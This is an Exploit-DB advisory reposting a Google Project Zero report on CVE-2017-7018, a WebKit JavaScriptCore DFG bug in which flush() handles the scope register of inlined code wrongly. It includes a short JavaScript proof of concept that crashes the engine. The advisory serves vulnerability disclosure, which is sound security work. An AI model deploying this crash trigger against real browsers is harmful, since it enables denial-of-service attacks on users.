WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling

EDB-ID: 42373
Author: Google Security Research
Published: 2017-07-25
CVE: CVE-2017-7018
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A 

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234 
  
 Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry). 
  
 void flush(InlineStackEntry* inlineStackEntry) 
 { 
 	... 
     if (m_graph.needsScopeRegister()) 
         flush(m_codeBlock->scopeRegister()); <<--- (a) 
 } 
  
 At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase. 
  
 PoC: 
 --> 
  
 function f() { 
     (function () { 
     	eval('1'); 
     	f(); 
     }()); 
  
     throw 1; 
 } 
  
 f();

Source: www.exploit-db.com
Related Posts